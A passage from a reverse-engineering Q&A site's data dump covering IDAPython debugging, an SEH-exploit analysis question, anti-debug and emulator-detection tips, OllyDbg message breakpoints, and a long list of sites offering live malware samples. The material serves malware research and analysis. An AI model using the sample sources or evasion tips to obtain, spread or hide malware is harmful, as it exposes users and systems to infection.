  <row Id="3272" PostTypeId="2" ParentId="3261" CreationDate="2013-12-23T15:34:54.707" Score="4" Body="&lt;p&gt;When I started with Malware Analyses at some anti-virus vendor. I only had reversed a couple of aspects of video games and created a number of tools to extract graphics etc. I also knew a fair bit of malware culture etc.. Read a lot of Malware source code (vxheavens) and all that jazz.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I however, didn't know about Obfuscation, unpacking, shellcode etc. This is something I learned over the course of a few years while on the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a SOLID understanding of x86 and your debugging / dis-assembler is required!&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-12-23T15:34:54.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3274" PostTypeId="1" CreationDate="2013-12-24T00:36:21.850" Score="7" ViewCount="796" Body="&lt;p&gt;Let's say I have lots of breakpoints at some &lt;code&gt;push&lt;/code&gt; instructions.&#xA;I am trying to dereference the operand (if address) - get the actual relevant value for each one in a script, handling immediate, base + index, register, etc. Can I do this in any other way than:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Read it with ESP after &lt;code&gt;Step Into&lt;/code&gt; (executing the instruction at breakpoint) (&lt;code&gt;DbgRead()&lt;/code&gt; of &lt;code&gt;IDC&lt;/code&gt;, &lt;code&gt;idaapi.dbg_read_memory()&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Read the operand and manually evaluate it in the script with respective calls to &lt;code&gt;DbgRead()&lt;/code&gt;, &lt;code&gt;GetRegValue()&lt;/code&gt;, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This, if possible, I guess would imply a particular &lt;code&gt;idaapi&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="3455" LastActivityDate="2016-08-01T20:38:33.500" Title="Can I evaluate operand values of an instruction currently at breakpoint (while debugging) in IDA using IDAPython?" Tags="|ida|idapython|debugging|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3276" PostTypeId="2" ParentId="3143" CreationDate="2013-12-24T04:01:37.380" Score="4" Body="&lt;p&gt;It may have a form of protection from debugger attaching. Programs can call &lt;code&gt;IsDebuggerPresent&lt;/code&gt; or have a different way of dealing with debugger detection. They usually pop up a fake &quot;error&quot; or immediately terminate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could modify kernel32.dll (it has the debugger check function) and make it return false, but it's not usually a good idea to mess with system files.&lt;/p&gt;&#xA;" OwnerUserId="3456" LastActivityDate="2013-12-24T04:01:37.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3277" PostTypeId="1" AcceptedAnswerId="3330" CreationDate="2013-12-25T01:56:13.093" Score="1" ViewCount="256" Body="&lt;p&gt;I recently acquired an exploit for an image viewer program and started analyzing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specific details cannot be given, but basically it is a SEH overwrite exploit using malicious image file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using immunity dbg, I saw that SEH being overwritten by 38 4c 5c 36. But dbg fails to execute that memory address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exploit executes calc just fine, but by attaching a debugger to the viewer program, it hangs trying to execute 38 4c 5c 36.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to jump to that address but dbg says it is a unspecified address. I have a few questions about this memory address&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;what kind of data is loaded in memory address near 38 4c 5c 36 ? (looking at the memory map it is between loaded dll files and nothing is loaded it seems)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;is 38 4c 5c 36 where the exploit is loaded in the memory or am I making a wrong guess?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it is where exploit is loaded, what should I do to further analyze using a debugger?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance :)&lt;/p&gt;&#xA;" OwnerUserId="3461" LastEditorUserId="2021" LastEditDate="2013-12-30T08:04:30.707" LastActivityDate="2013-12-30T23:43:08.033" Title="Need help analyzing an image viewer exploit" Tags="|exploit|seh|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3278" PostTypeId="5" CreationDate="2013-12-25T08:20:20.777" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-25T08:20:20.777" LastActivityDate="2013-12-25T08:20:20.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3279" PostTypeId="4" CreationDate="2013-12-25T08:20:20.777" Score="0" Body="A chain of software made to build self-extractable archived software (with a focus on compression and/or on obfuscation). Packer prevent most of the static analysis techniques and force the reverser to *depack* dynamically the software before analyzing it. " OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-25T10:49:56.223" LastActivityDate="2013-12-25T10:49:56.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3280" PostTypeId="5" CreationDate="2013-12-25T08:23:58.430" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-25T08:23:58.430" LastActivityDate="2013-12-25T08:23:58.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3281" PostTypeId="4" CreationDate="2013-12-25T08:23:58.430" Score="0" Body="Managing the risks over information and hardware to prevent unintended or unauthorized access, change or destruction of data or disruption of service." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-02-04T02:49:18.707" LastActivityDate="2014-02-04T02:49:18.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3282" PostTypeId="5" CreationDate="2013-12-25T08:26:04.287" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-25T08:26:04.287" LastActivityDate="2013-12-25T08:26:04.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3283" PostTypeId="4" CreationDate="2013-12-25T08:26:04.287" Score="0" Body="Unix memory model relies on a strong separation between user-space memory and kernel-space memory. This tag refers to mechanisms that lie in kernel-space." OwnerUserId="53" LastEditorUserId="189" LastEditDate="2013-12-25T10:49:29.580" LastActivityDate="2013-12-25T10:49:29.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3284" PostTypeId="1" CreationDate="2013-12-25T22:17:35.520" Score="2" ViewCount="482" Body="&lt;p&gt;As you see from the title my problem is editing .class files. I've been trying to compile .java to .class, but no luck! I'm getting strange errors. (Using DJ Java compiler/decompiler). My question is does an easy editor exist for .class files ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3465" LastActivityDate="2013-12-25T22:58:56.010" Title="Does proper/easy editor exist for .class java files?" Tags="|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3285" PostTypeId="2" ParentId="3284" CreationDate="2013-12-25T22:58:56.010" Score="2" Body="&lt;p&gt;I use the &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow&quot;&gt;Krakatau&lt;/a&gt; disassembler/assembler (disclosure: I wrote it). This lets you edit classfiles at the bytecode level without a lossy (and potentially impossible) roundtrip to Java. You can even edit heavily obfuscated classes this way. Of course, this assumes that you're familiar with the classfile format.  If you don't understand bytecode, you're pretty much limited to either learning it (not that hard) or making do with decompilers.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2013-12-25T22:58:56.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3286" PostTypeId="2" ParentId="3277" CreationDate="2013-12-26T03:52:37.657" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;38 4c 5c 36 is the value of the EIP when dbg cannot continue.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Based on your comment above, in response to your questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The exploit's payload.&lt;/li&gt;&#xA;&lt;li&gt;It's the location in memory where the exploit's payload is loaded.&lt;/li&gt;&#xA;&lt;li&gt;If you're only looking to analyze the payload (and not the exploit/trigger), set a breakpoint on that address and debug from there.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-12-26T03:52:37.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3287" PostTypeId="1" CreationDate="2013-12-26T07:43:07.667" Score="5" ViewCount="2671" Body="&lt;p&gt;Let say I have libA.so and libB.so, is there any way for me to combine them into a single shared library libC.so that contains all exported symbols of both libA.so and libB.so?&lt;/p&gt;&#xA;" OwnerUserId="3468" LastActivityDate="2013-12-27T21:22:30.343" Title="Merging elf shared-objects" Tags="|linux|elf|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3288" PostTypeId="1" AcceptedAnswerId="3289" CreationDate="2013-12-26T09:46:38.627" Score="24" ViewCount="32671" Body="&lt;p&gt;I am trying to find what a button does, so I want to set a breakpoint to catch button click event. Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tools or tricks to assist in this?&lt;/p&gt;&#xA;" OwnerUserId="3192" LastEditorUserId="189" LastEditDate="2013-12-26T11:32:52.480" LastActivityDate="2013-12-27T07:34:42.113" Title="How can I set a breakpoint for a button click?" Tags="|windows|ollydbg|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3289" PostTypeId="2" ParentId="3288" CreationDate="2013-12-26T12:44:36.093" Score="27" Body="&lt;p&gt;It very much depends on what framework they use in order to do their windowing. It could be &lt;a href=&quot;https://en.wikipedia.org/wiki/Microsoft_Foundation_Class_Library&quot;&gt;MFC&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Windows_Presentation_Foundation&quot;&gt;WPF&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/WinForms&quot;&gt;WinForms&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/WTL&quot;&gt;WTL&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Qt_%28software%29&quot;&gt;QT&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Wxwidget&quot;&gt;wxWidgets&lt;/a&gt;, pure &lt;a href=&quot;https://en.wikipedia.org/wiki/Windows_API&quot;&gt;Windows API&lt;/a&gt;. There's a lot of frameworks and they all handle the final routing of messages differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll answer the question for the cases that are either directly built on top of Windows API or where they're using the Windows API directly. WPF does not use the Windows API windowing system other than for the outermost windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially the program registers a function that handles messages intended for a particular window. This can be done using the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms633586(v=vs.85).aspx&quot;&gt;RegisterClass&lt;/a&gt; or &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms633587(v=vs.85).aspx&quot;&gt;RegisterClassEx&lt;/a&gt; functions. The function which will be responsible for handling the messages sent to the window is the lpfnWndProc member of the structures passed to these functions. This is called the window procedure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens when a button is pressed is that a message, in this case &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms647591(v=vs.85).aspx&quot;&gt;WM_COMMAND&lt;/a&gt;, is pushed into the thread message queue by Windows. This message is then fetched using  &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms644936(v=vs.85).aspx&quot;&gt;GetMessage&lt;/a&gt; or &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms644943(v=vs.85).aspx&quot;&gt;PeekMessage&lt;/a&gt;. Some messages use short cuts and can result in a call to the window procedure directly when you call GetMessage, some messages only result in a call to the window procedure when the application calls &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms644934(v=vs.85).aspx&quot;&gt;DispatchMessage&lt;/a&gt;. If you're dealing with a dialog, the message will be handled by a call to &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms645498(v=vs.85).aspx&quot;&gt;IsDialogMessage&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that we have some background on how this works behind the scenes, OllyDbg actually has a helper for dealing with this sort of thing. You can simply open the View-&gt;Windows dialog item. Right click the window you want to catch button presses in, select message breakpoint on classproc, select command and notifications from the message dropdown or select the WM_COMMAND message. Now whenever you click the button you will break in the window procedure the application registered for that window. You still need to trace the code so that you can find the code that examines the message type and then handles the message. From now on it will be different depending on what type of framework is being used.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-12-26T20:02:53.420" LastActivityDate="2013-12-26T20:02:53.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3290" PostTypeId="2" ParentId="206" CreationDate="2013-12-26T21:07:39.713" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Malware/comments/1tl55a/places_to_pick_up_malware_in_the_wild/&quot; rel=&quot;nofollow&quot;&gt;Related Reddit topic.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit]Here is the content of the page :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Search youtube for facebook, msn, gmail, yahoo etc password hacking tools or things like xbox points generators and your guaranteed to find a few RATs.&quot;&#xA;   --&lt;strong&gt;ashtrae&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Try browsing through the recent results at &lt;a href=&quot;http://urlquery.net&quot; rel=&quot;nofollow&quot;&gt;urlquery.net&lt;/a&gt;&#xA;  If you see any recent searches/scans that were tagged as malicious, chances are they haven't been fixed yet. There are plenty of other sites out there where you can download samples packed in password protected .zips, but I'm assuming you're looking for something live, like a drive by exploit in this case? If that's true, urlquery should help.&quot; -- &lt;strong&gt;NattyBroh&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;On top of what is already mentioned. Your spam folder. Some malware is spread via email campaigns.&#xA;  Torrents/Usenet - many pirated apps come bundled with a little extra. new unverified torrents on public trackers is a good place to start.&#xA;  Small sketchy ad networks. Even big guys, like adwords, get malware ads once in a while, small companies don't have resources to scan everything thoroughly. ... Check ads for various blackhat services, click links, you'll find some fun stuff. Bad guys are not above infecting each other.&#xA;  Generally, What Would Black Hat Do? is a good motto to stick by. If you were distributing malware, how would you go about it?&quot; --&lt;strong&gt;choleropteryx&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://malwr.com/&quot; rel=&quot;nofollow&quot;&gt;https://malwr.com/&lt;/a&gt; // posted by highentropy1337&lt;br&gt;&#xA;&lt;a href=&quot;http://malwaretips.com/forums/virus-exchange.104/&quot; rel=&quot;nofollow&quot;&gt;http://malwaretips.com/forums/virus-exchange.104/&lt;/a&gt; // posted by Websly  &lt;a href=&quot;http://contagiodump.blogspot.in/&quot; rel=&quot;nofollow&quot;&gt;http://contagiodump.blogspot.in/&lt;/a&gt; // posted by bhumish&lt;br&gt;&#xA;&lt;a href=&quot;http://www.kernelmode.info/forum/&quot; rel=&quot;nofollow&quot;&gt;http://www.kernelmode.info/forum/&lt;/a&gt; // posted by idkbtc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posted by &lt;strong&gt;loualbano&lt;/strong&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.scumware.org/reports.scumware&quot; rel=&quot;nofollow&quot;&gt;http://www.scumware.org/reports.scumware&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://minotauranalysis.com/malwarelist.aspx&quot; rel=&quot;nofollow&quot;&gt;http://minotauranalysis.com/malwarelist.aspx&lt;/a&gt; (might be dead)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.malc0de.com/database/&quot; rel=&quot;nofollow&quot;&gt;http://www.malc0de.com/database/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.malwareblacklist.com/showMDL.php&quot; rel=&quot;nofollow&quot;&gt;http://www.malwareblacklist.com/showMDL.php&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cybercrime-tracker.net/&quot; rel=&quot;nofollow&quot;&gt;http://cybercrime-tracker.net/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://zeustracker.abuse.ch/monitor.php?browse=binaries&quot; rel=&quot;nofollow&quot;&gt;https://zeustracker.abuse.ch/monitor.php?browse=binaries&lt;/a&gt;    &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vxvault.siri-urz.net/ViriList.php&quot; rel=&quot;nofollow&quot;&gt;http://vxvault.siri-urz.net/ViriList.php&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://palevotracker.abuse.ch/&quot; rel=&quot;nofollow&quot;&gt;https://palevotracker.abuse.ch/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://spyeyetracker.abuse.ch/monitor.php?browse=binaries&quot; rel=&quot;nofollow&quot;&gt;https://spyeyetracker.abuse.ch/monitor.php?browse=binaries&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sacour.cn/m/&quot; rel=&quot;nofollow&quot;&gt;http://www.sacour.cn/m/&lt;/a&gt;&#xA;(part chinese and part english, click around to find .exe links)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nothink.org/viruswatch.php&quot; rel=&quot;nofollow&quot;&gt;http://www.nothink.org/viruswatch.php&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blade-defender.org/eval-lab/&quot; rel=&quot;nofollow&quot;&gt;http://www.blade-defender.org/eval-lab/&lt;/a&gt; (&lt;em&gt;dead&lt;/em&gt;?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.malwaredomainlist.com/forums/index.php?topic=3270.0&quot; rel=&quot;nofollow&quot;&gt;http://www.malwaredomainlist.com/forums/index.php?topic=3270.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.malwaredomainlist.com/update.php&quot; rel=&quot;nofollow&quot;&gt;http://www.malwaredomainlist.com/update.php&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://malwaredb.malekal.com/&quot; rel=&quot;nofollow&quot;&gt;http://malwaredb.malekal.com/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://avcaesar.lu/&quot; rel=&quot;nofollow&quot;&gt;http://avcaesar.lu/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://malwareurls.joxeankoret.com/normal.txt&quot; rel=&quot;nofollow&quot;&gt;http://malwareurls.joxeankoret.com/normal.txt&lt;/a&gt;   (&lt;em&gt;dead&lt;/em&gt;?)  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://virusshare.com/&quot; rel=&quot;nofollow&quot;&gt;http://virusshare.com/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://contagiodump.blogspot.com/&quot; rel=&quot;nofollow&quot;&gt;http://contagiodump.blogspot.com/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.kernelmode.info/forum/viewforum.php?f=16&quot; rel=&quot;nofollow&quot;&gt;http://www.kernelmode.info/forum/viewforum.php?f=16&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://malshare.com/&quot; rel=&quot;nofollow&quot;&gt;http://malshare.com/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.malwareblacklist.com/showMDL.php&quot; rel=&quot;nofollow&quot;&gt;http://www.malwareblacklist.com/showMDL.php&lt;/a&gt;  (&lt;em&gt;dead&lt;/em&gt;?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://openmalware.org/&quot; rel=&quot;nofollow&quot;&gt;http://openmalware.org/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://secuboxlabs.fr/&quot; rel=&quot;nofollow&quot;&gt;http://secuboxlabs.fr/&lt;/a&gt;  (&lt;em&gt;dead&lt;/em&gt;?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://support.clean-mx.de/clean-mx/viruses.php&quot; rel=&quot;nofollow&quot;&gt;http://support.clean-mx.de/clean-mx/viruses.php&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.offensivecomputing.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.offensivecomputing.net/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://forums.malwarebytes.org/index.php?s=fab929606b2191a7ecc31194dec7118f&amp;amp;showforum=51&quot; rel=&quot;nofollow&quot;&gt;https://forums.malwarebytes.org/index.php?s=fab929606b2191a7ecc31194dec7118f&amp;amp;showforum=51&lt;/a&gt;    &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jsunpack.jeek.org/?list=1&quot; rel=&quot;nofollow&quot;&gt;http://jsunpack.jeek.org/?list=1&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://malwared.ru/database.php?page=1&quot; rel=&quot;nofollow&quot;&gt;http://malwared.ru/database.php?page=1&lt;/a&gt;    &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="3721" LastEditDate="2014-01-21T20:25:47.017" LastActivityDate="2014-01-21T20:25:47.017" CommentCount="3" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="3291" PostTypeId="1" CreationDate="2013-12-26T22:43:40.980" Score="4" ViewCount="162" Body="&lt;p&gt;I recently saw funcap, a plugin that captures function calls made by a binary using IDA's debugging API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have setup IDA on my host machine. My VMs aren't fast enough to run IDA in them. How do you run a plugin like this without having the risk of malware executing in your host machine?&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2013-12-27T00:44:27.340" Title="IDA debugging API's security" Tags="|malware|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3292" PostTypeId="2" ParentId="3291" CreationDate="2013-12-27T00:44:27.340" Score="6" Body="&lt;p&gt;IDA supports remote debugging, see this guide on how to configure it : &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf&quot;&gt;https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf&lt;/a&gt; . I don't know if funcap works with remote debugging but the author mentions using it in Windbg mode for kernel debugging so I guess it should.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-27T00:44:27.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3293" PostTypeId="2" ParentId="3049" CreationDate="2013-12-27T02:07:01.560" Score="1" Body="&lt;p&gt;The answer is a clear NO.  Whatever protection you do could still be improved if so desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is a little bit unclear, as there are many different protections possible.&#xA;   - protect against reverse engineering&#xA;   - protect against executing on the wrong computer&#xA;   - protect against copying&#xA;   - protect against modifications.&#xA;   - ...&#xA;whatever method is best for one purpose may not be best for some other purpose.&#xA;When you know what you are against, you are really in a better situation to make a good protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also say there is no perfect protection, as any protection can be broken.  But maybe that doesn't matter:  maybe the time to brake a particular protection with todays computer-speeds is similar to the age of the universe?  Maybe the protection is just good enough to protect your executable until the protection is no more needed.  Maybe it is just good enough so that an attacker gives up just before suceeding?  Maybe it makes it just hard enough so that an attacker chooses to work on an another program.  Maybe it is broken within minutes after a release...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice: Unless you are a seasoned protection engeneer or very good hacker and reverse engineer, your protection will be broken in surprisingly short time.  On the other side, if you understand what you are doing:  Know what compilers generate, know what is hard to reverse engineer, know the program to be protected, know the machine architecture, build the protection in from the beginning, or use some professional protection tools, understand the applications performance requirements, you can keep more or less everybody out.  There is some debate about that.  Before a protection finally is cracked, protectors err by thinking is too hard; reverse engineers err by thinking it is too easy.  Actually when you create high-end protections you might never know, as attackers for high-end stuff won't tell you if/when they succeeded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of tools to help making protections, the price range for such tools goes from free to astronomical. I don't know whether this discussion list allows me to name companies.  If you want to find out mine, or any other, google for tamper-proofing.&lt;/p&gt;&#xA;" OwnerUserId="3471" LastEditorUserId="53" LastEditDate="2013-12-27T07:33:13.223" LastActivityDate="2013-12-27T07:33:13.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3294" PostTypeId="2" ParentId="2805" CreationDate="2013-12-27T02:34:16.013" Score="-1" Body="&lt;p&gt;Previous answer is good.  I would say this depends on machine and emulator.  There are many more tricks to recognize emulators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might look at the environment, is there an emultor in the file system?  Is the number of running applications indicating a virtual application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ask the operating system whether the application is debugged; different methods exist, most are easily defeated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a program which measures the execution time between close instructions.  If the machine does not have hardware support for emulation, this is pretty reliable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use google for anti-debug&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris Jacobi&lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2013-12-27T02:34:16.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3295" PostTypeId="2" ParentId="3288" CreationDate="2013-12-27T07:34:42.113" Score="11" Body="&lt;p&gt;open calc.exe in ollydbg &lt;code&gt;c:\ollydbg.exe calc.exe&lt;/code&gt;&lt;br&gt;&#xA;press &lt;code&gt;Ctrl + G and type GetMessageW&lt;/code&gt;&lt;br&gt;&#xA;press &lt;code&gt;F2&lt;/code&gt; to set a breakpoint and press &lt;code&gt;F9&lt;/code&gt; until it breaks&lt;br&gt;&#xA;when it is broken press &lt;code&gt;ctrl+f9&lt;/code&gt; to run until return&lt;br&gt;&#xA;press &lt;code&gt;shift+f4&lt;/code&gt; to set a conditional log breakpoint&lt;br&gt;&#xA;in the expression edit box type &lt;code&gt;[esp+4]&lt;/code&gt;&lt;br&gt;&#xA;in the decode value of expression &lt;code&gt;select pointer to MSG structure (UNICODE)&lt;/code&gt;&lt;br&gt;&#xA;set radio button pause to &lt;code&gt;never&lt;/code&gt;&lt;br&gt;&#xA;set radio button log expression to &lt;code&gt;Always&lt;/code&gt;&lt;br&gt;&#xA;hit &lt;code&gt;ok&lt;/code&gt;&lt;br&gt;&#xA;now look at log window for all the messages that are handled&lt;br&gt;&#xA;refine your conditional breakpoint to handle only the cases you want to examine &#xA;for example this condition will log only mouseup and wm_char messages&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoints, item 1&#xA; Address=7E41920E&#xA; Module=USER32&#xA; Active=Log when [[esp+4]+4] == WM_KEYDOWN || [[esp+4]+4] == WM_LBUTTONUP&#xA; Disassembly=RETN    10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;like results posted below notice the hwnd for each button you can refine to a multiple condition with a specifc Window Handle hWnd 2e048a etc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\Log data&#xA;Message&#xA;COND: 0007FEE8 WM_LBUTTONUP hw = 2E048A (&quot;C&quot;) Keys = 0 X = 57. Y = 14.&#xA;COND: 0007FEE8 WM_LBUTTONUP hw = 10053E (&quot;And&quot;) Keys = 0 X = 22. Y = 10.&#xA;COND: 0007FEE8 WM_LBUTTONUP hw = 200404 (&quot;Xor&quot;) Keys = 0 X = 22. Y = 18.&#xA;COND: 0007FEE8 WM_LBUTTONUP hw = 270402 (&quot;M+&quot;) Keys = 0 X = 22. Y = 11.&#xA;COND: 0007FEE8 WM_LBUTTONUP hw = D036A (&quot;Sta&quot;) Keys = 0 X = 27. Y = 15.&#xA;COND: 0007FEE8 WM_LBUTTONUP hw = 1B04F0 (&quot;x^2&quot;) Keys = 0 X = 18. Y = 17.&#xA;COND: 0007FEE8 WM_KEYDOWN hw = 1B04F0 (&quot;x^2&quot;) Key = 35  ('5') KeyData = 60001&#xA;COND: 0007FEE8 WM_KEYDOWN hw = 4303EC (class=&quot;Edit&quot;) Key = 42  ('B') KeyData = 300001&#xA;COND: 0007FEE8 WM_KEYDOWN hw = 4303EC (class=&quot;Edit&quot;) Key = 41  ('A') KeyData = 